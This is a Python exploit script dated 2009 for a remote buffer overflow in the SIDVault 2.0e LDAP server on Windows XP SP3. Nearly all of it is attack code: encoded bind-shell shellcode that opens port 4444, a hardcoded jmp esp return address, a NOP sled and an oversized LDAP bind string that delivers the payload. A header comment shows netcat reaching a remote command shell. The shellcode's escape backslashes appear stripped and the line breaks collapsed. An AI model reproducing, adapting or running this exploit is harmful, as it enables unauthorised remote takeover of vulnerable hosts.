sidvault.py.txt
Posted on 04 September 2009
#!/usr/bin/python # # $ ./sidvault.py 192.168.1.131 # # [*] SIDVault 2.0e Windows Remote Buffer Overflow # [*] Written by blake # [*] Tested on Windows XP SP3 # [+] Sending payload # [+] Check port 4444 for shell # # $ nc 192.168.1.131 4444 # Microsoft Windows XP [Version 5.1.2600] # (C) Copyright 1985-2001 Microsoft Corp. # # C:WINDOWSsystem32> import socket, sys, ldap print " [*] SidVault 2.0e Windows Remote Buffer Overflow" print "[*] Written by blake" print "[*] Tested on Windows XP SP3" if len(sys.argv)!=2: print "[*] Usage: %s <ip>" % sys.argv[0] sys.exit(0) host = sys.argv[1] # windows/shell_bind_tcp - 696 bytes Encoder: x86/alpha_mixed # EXITFUNC=seh, LPORT=4444 shellcode = ( "x89xe1xd9xe1xd9x71xf4x5dx55x59x49x49x49x49x49" "x49x49x49x49x49x43x43x43x43x43x43x37x51x5ax6a" "x41x58x50x30x41x30x41x6bx41x41x51x32x41x42x32" "x42x42x30x42x42x41x42x58x50x38x41x42x75x4ax49" "x4bx4cx43x5ax4ax4bx50x4dx4dx38x4cx39x4bx4fx4b" "x4fx4bx4fx45x30x4cx4bx42x4cx46x44x46x44x4cx4b" "x47x35x47x4cx4cx4bx43x4cx43x35x43x48x45x51x4a" "x4fx4cx4bx50x4fx42x38x4cx4bx51x4fx47x50x43x31" "x4ax4bx51x59x4cx4bx50x34x4cx4bx45x51x4ax4ex46" "x51x49x50x4dx49x4ex4cx4cx44x49x50x42x54x43x37" "x49x51x48x4ax44x4dx43x31x49x52x4ax4bx4bx44x47" "x4bx50x54x46x44x51x38x43x45x4bx55x4cx4bx51x4f" "x47x54x43x31x4ax4bx45x36x4cx4bx44x4cx50x4bx4c" "x4bx51x4fx45x4cx45x51x4ax4bx43x33x46x4cx4cx4b" "x4cx49x42x4cx47x54x45x4cx43x51x48x43x46x51x49" "x4bx42x44x4cx4bx50x43x50x30x4cx4bx47x30x44x4c" "x4cx4bx44x30x45x4cx4ex4dx4cx4bx51x50x43x38x51" "x4ex43x58x4cx4ex50x4ex44x4ex4ax4cx50x50x4bx4f" "x49x46x42x46x46x33x43x56x42x48x47x43x47x42x42" "x48x42x57x44x33x46x52x51x4fx46x34x4bx4fx4ex30" "x42x48x48x4bx4ax4dx4bx4cx47x4bx50x50x4bx4fx48" "x56x51x4fx4cx49x4bx55x42x46x4dx51x4ax4dx43x38" "x45x52x50x55x43x5ax43x32x4bx4fx48x50x43x58x48" "x59x44x49x4bx45x4ex4dx46x37x4bx4fx48x56x46x33" "x51x43x51x43x50x53x46x33x50x43x50x53x51x53x50" "x53x4bx4fx4ex30x45x36x42x48x42x31x51x4cx43x56" "x46x33x4bx39x4dx31x4ax35x45x38x4ex44x45x4ax42" "x50x49x57x51x47x4bx4fx49x46x43x5ax44x50x50x51" "x46x35x4bx4fx4ex30x42x48x4ex44x4ex4dx46x4ex4d" "x39x46x37x4bx4fx49x46x50x53x51x45x4bx4fx4ex30" "x45x38x4ax45x51x59x4cx46x51x59x46x37x4bx4fx4e" "x36x50x50x50x54x46x34x46x35x4bx4fx48x50x4dx43" "x43x58x4ax47x42x59x48x46x44x39x50x57x4bx4fx4e" "x36x46x35x4bx4fx48x50x43x56x42x4ax43x54x45x36" "x43x58x45x33x42x4dx4cx49x4ax45x42x4ax46x30x50" "x59x47x59x48x4cx4cx49x4ax47x42x4ax50x44x4cx49" "x4ax42x46x51x49x50x4ax53x4ex4ax4bx4ex50x42x46" "x4dx4bx4ex51x52x46x4cx4cx53x4cx4dx42x5ax46x58" "x4ex4bx4ex4bx4ex4bx45x38x42x52x4bx4ex4ex53x44" "x56x4bx4fx43x45x50x44x4bx4fx4ex36x51x4bx50x57" "x50x52x50x51x46x31x50x51x42x4ax45x51x46x31x50" "x51x46x35x46x31x4bx4fx48x50x45x38x4ex4dx4ex39" "x43x35x48x4ex50x53x4bx4fx48x56x43x5ax4bx4fx4b" "x4fx50x37x4bx4fx4ex30x4cx4bx50x57x4bx4cx4dx53" "x49x54x42x44x4bx4fx4ex36x46x32x4bx4fx4ex30x43" "x58x4ax50x4cx4ax45x54x51x4fx46x33x4bx4fx48x56" "x4bx4fx4ex30x41x41") junk = "x41" * 1024 # junk buffer ret = "x33xbfx96x7c" # jmp esp 7C96BF33 Shell32.dll XP SP3 nops = "x90" * 10 # nop sled sc = shellcode # shellcode junk2 = "x42" * 2375 # 3071 - 696 = 2375 junk print "[+] Sending payload" l = ldap.open(host) l.simple_bind("dc=" + junk + ret + nops + sc + junk2, "x42" * 256) print "[+] Check port 4444 for shell "
